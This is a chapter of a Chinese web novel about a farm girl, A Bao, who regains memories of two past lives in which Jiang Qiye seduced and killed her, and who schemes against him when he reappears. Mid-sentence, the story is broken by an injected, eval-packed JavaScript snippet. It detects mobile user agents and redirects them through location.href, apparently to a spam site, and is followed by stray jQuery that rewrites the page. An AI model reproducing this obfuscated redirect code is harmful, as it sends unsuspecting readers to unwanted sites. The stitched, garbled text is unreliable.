晌午的日头太毒辣,让农户都早早回了家,人隔着鞋子脚能感觉到土地的烫烧。
阿褒的粗布衫早被汗浸透,贴在后背黏得难受。
可她顾不得这么多,要赶紧干活,赶紧结束,不能一拖再拖。
即使热的口干舌燥,阿褒手的动作却没停下,草拔了一片又一片。
“快了,快了,马上就结束,”她自言自语的说着话,裹在头上的湿巾早已干透。
麦收前拔草干净,可以让麦子长得饱满些,今年的日子就好过点。
夏日的风吹过,裹着热浪令人更加酷热难耐。
阿褒弯着腰,麦穗被风吹得摇晃,麦芒的糙意刮得她脸颊发疼。
不知怎么,下一秒,天旋地转。
阿褒没来得及“哼”一声,直挺挺地倒在麦地里,手背蹭过滚烫的土,没了知觉。
不知过了多久,一丝凉意落在脸上,细细的、凉凉的。
她闭着眼,嘴唇先一步感觉到了。
是雨。
零星的雨点儿从天上落下来,砸在脸颊、额角,带着夏日午后特有的清爽。
阿褒的舌尖不自觉地伸出来,轻轻舔舐着落在唇边的雨水。
自己像在干涸的沙漠里走了太久,喉咙干得发疼,刚才拔草中暑,这么久没人来找,若不是下雨恐怕要晕死在这里。
雨还在下,零零星星的,没多少分量,却足够让她混沌的意识慢慢清醒。
这是阿褒的身子,祝家村一个农家女,租着地主家两三亩田。
家境不算贫寒,却也过的艰苦。
阿娘在她十三岁病逝,与父亲相依为命。
阿褒读过一年私塾,并没有过度留恋书本上的文人墨客,为了省钱就辍学。
母亲病逝后,阿褒很懂事的承担起家里的责任,一开始在家做饭,现在开始主动下地干活。
眼看快到麦收,父亲这几日犯了旧疾,身体实在撑不住,她才独自来地里拔草。
偏生自己身弱,扛不住这毒日头,竟就这么晕了过去。
可这一晕,让她记起来从前两世的记忆。
画面猛地涌进脑海,清晰得仿佛就发生在昨天。
阿褒,不,是裴雪嫣,她撑着地面慢慢站起来,看着眼前微微泛黄的麦穗,又仰头望着落下的雨丝,心里满是恍惚。
自己这是……又过了一辈子?
低头看着自己沾了泥土的粗布裤脚,胳膊手背上被麦穗划出的红痕,裴雪嫣揉了下胳膊,心里翻江倒海。
江栖夜,三叔?
死之前嘴里念叨两个称呼。
只是,这个名字一冒出来,她差点又栽倒在地。
这次不是因为中暑,而是被滔天的恨意憋得发晕。
按照上两世的经历,这次她那个好“三叔”、江公子必然来找她,然后想着法子勾引她,引诱她喜欢上他。
最后,再亲手杀了她!
他知不知道被剑捅进身体时有多痛?!
知不知道上次他运功取心丹时,自己还有一丝意识,那种五脏六腑都被搅碎的钻心之痛,到现在想起来都让她浑身发颤!
她恨死江栖夜了!
她不明白,为什么这个男人要一而再、再而三地招惹她?
用温柔的笑、体贴的关怀,一点点瓦解她的防备,让她沉溺在虚假的情意里,等她彻底爱上他时,再毫不留情地挥下屠刀。
怎么可以这么坏?怎么可以这么残忍?
她只记起两世的纠葛,幻境之前的事一片空白。
现在的身体里,既藏着前两世被宠爱少女的娇气,又带着农家女阿褒的淳朴与坚韧。
并没有在家闲着,第二日继续下地拔草,做农活依旧认真仔细。
阿褒长得美,今年十七岁,村里说亲的人络绎不绝。
前几日还有媒人上门,说邻村有个家境不错的男子,愿意出十担粮食、一头母猪做聘礼,还承诺婚后给她家一亩二分地。
父亲当时听得眼睛都亮了,若是换成没恢复记忆的孝顺阿褒,恐怕早就点头答应了。
现在,她不会。
她要等,等江栖夜来找她。
等他再摆出那副深情款款的模样,等他再用那些温柔的手段引诱她。
她要报复他,要让他也尝尝被欺骗、被背叛的滋味,要让他也痛一次,痛到骨子里!
更重要的是,她要弄清楚,江栖夜到底为什么要这样对她?
他一次次接近她、杀了她,到底是为了什么?
裴雪嫣并不知道要等江栖夜多久。
她只能这样日复一日地耗着,一边婉拒着村里媒人介绍的亲事,说自己还想多帮衬父亲两年。
一边喂鸡、收衣裳,不停望向那条通往村外的小路,盼着那个熟悉的身影出现。
日子就这么一天天过去,转眼半个月了。
那天晚饭刚过,暑气散了些,天微微凉下来。
很熟悉的声音在门口响起,带着几分客气:“请问,能讨碗水喝吗?”
正在院里修农具,听到声音抬头望过去。
裴雪嫣正坐在门口的石凳上编草帽,猛地抬头。
果然是江栖夜。
不知怎的,这十几天攒下的怨恨、期待、忐忑,此刻竟全都涌成了控制不住的恼火,烧得她指尖发颤。
想大声质问,想问他为什么欺骗,委屈、不甘、甚至难受全部涌出来。
她放下手里的草帽,伸手把耳侧的碎发撩到耳后,将整张脸露出来,没让半分遮挡。
然后站起身,一步步走到门口,装作全然陌生的模样:“请问,你有什么事?”
江栖夜穿着一身洗得发白的粗布衣裳,脸色也比前两世黑了些,没了往日高高在上的清冷模样,倒真像个赶路的寻常汉子。
他对着裴雪嫣拱了拱手,语气依旧礼貌:“姑娘好,我住在西村,今日赶路去东家庄办些事,天热走得急,实在口渴,想向姑娘讨碗水喝。”
裴雪嫣想笑,忍了忍没有笑出来。
西村到东家庄不过十几里路,凭他的体力,快步走半个时辰就能到,更何况村口不远处就有一条河,水清得能直接喝,哪里用得着绕到村里来讨水?
两世相处,她一直以为江栖夜是正人君子,做事稳妥,是读过圣贤书的体面人。
如今看来,这些偶遇的把戏,他倒是演得越来越熟练了。
裴雪嫣压下心头的嘲讽,冷声道:“我家没水。”
江栖夜显然愣了一下,眼底闪过一丝诧异。
他倒没想过这一世的“阿褒”有些泼辣。
来之前,他就知道,这一世的阿褒是淳朴温顺的农户之女,虽然文静却对街坊邻里很友好,第一次听到这么冲的话语。
他拱了拱手,语气放得更温和些:“若是没水,有酒水也可,能解解渴便好。”
真敢想啊,家里这么穷还要酒水?
看着他故作谦和,裴雪嫣转冷为笑,罢了,反正他们注定要纠缠不休,与其这样针锋相对、徒增自己的火气
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566440|186998||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,倒不如顺着他的戏码走下去,看看这一世,他还能玩出什么花样。
“你等着,我去给你寻些喝的来。”
家里哪有什么酒水?父亲向来节俭,平日里连粗茶都舍不得多喝,唯一的一坛米酒,还是去年过年时亲戚送的,早被父亲藏在柜子最里面,舍不得动一口。
她从灶台上拿起一个葫芦瓢,走到水缸边,舀了一瓢刚从井里挑回来的凉水。
水还带着井底的凉意,裴雪嫣在里面放了一点浑水,泥沙,还有苦盐巴。
用手指搅了搅,兴高采烈的走了出来。
刚跨出门槛,就看见院子里,江栖夜不知何时已捋起了袖子,正蹲在父亲身边,手里拿着锤头帮着修农具,动作熟练得不像装的。
简单修好后,又抱了些草料去喂牛。
笑着说:“祝叔,这几日好好让它出,过不了几天就要去拉麦子了。”
爹爹很开心,眼睛都是直的。
不过,这些画面实在是太诡异,完全懵了。
他对农活动作熟练的让裴雪嫣怀疑脑子中从前的记忆都是假的。
而且捋起来的胳膊,居然有凸起的肌肉......
这时,江栖夜也看见了裴雪嫣,笑着起身走过来,自然地接过她手里的葫芦瓢。
没等裴雪嫣反应过来,他已经仰头,一口气将瓢里的水喝了个干净,仿佛完全没尝到泥沙的糙感和盐巴的苦味。
裴雪嫣震惊地看着他,有些结巴的说:“你--你--”
江栖夜抹了把嘴角,还带着几分憨气的浅笑:“味道是有些怪,不过凉凉的,倒也解渴。”
裴雪嫣更懵了。
他明明该尝出不对劲的,为什么会是这个反应?
他喝了水,又转身帮爹爹收拾了农具,才客气地告辞离开。
走出祝家村很远,江栖夜胸口的心跳还在“砰砰”地响,久久没能平复。
上一世结束之后,他大病一场,躺在农舍十天。
其实,江栖夜已经知道,他的心已经被裴雪嫣一世又一世的遭遇调动。
他必须快些结束这一切,这一世一定要速战速决。
否则,他怕自己真的会陷在这轮回般的梦境情感里,再也脱不了身,最终落得个身心俱疲、万劫不复的下场。
为了让农家汉子的身份更逼真,江栖夜甚至给自己的意识里植入了些零碎的农家记忆。
割麦子、拔草、修农具,这些事竟也变得顺手起来。
第二天一早,江栖夜刚起身,正琢磨着该去祝家村制造下一次偶遇,就看见院门口站着个约莫四五十岁的妇人,穿着浆洗得干净的蓝布衫,正探头探脑地往里望。
他认得这妇人,是祝家村附近有名的媒婆王婶。
王婶见他开门,立刻眉开眼笑地迎上来,声音洪亮得能传到隔壁院:“哎呀,江家小汉子,可算等着你起来了,你的好日子要到啦!”
江栖夜一脸疑惑地侧身让她进来,不解地问:“王婶这话是什么意思?我哪来的好日子?”
王婶拉着他的胳膊,笑得眼睛都快眯成一条缝:“你还不知道呐?祝家庄的阿褒姑娘,那可是十里八乡有名的赛西施,大眼睛、瓜子脸,多少后生托我去提亲,人家都摇头不答应!可昨儿个,阿褒她爹主动找到我,非要我来西村找你,说……说阿褒姑娘对你有意思!”
说着,王婶还挤了挤眼睛,比了两个大拇指相对的动作,意思再明显不过。
江栖夜一脸懵,站在原地半天没回过神。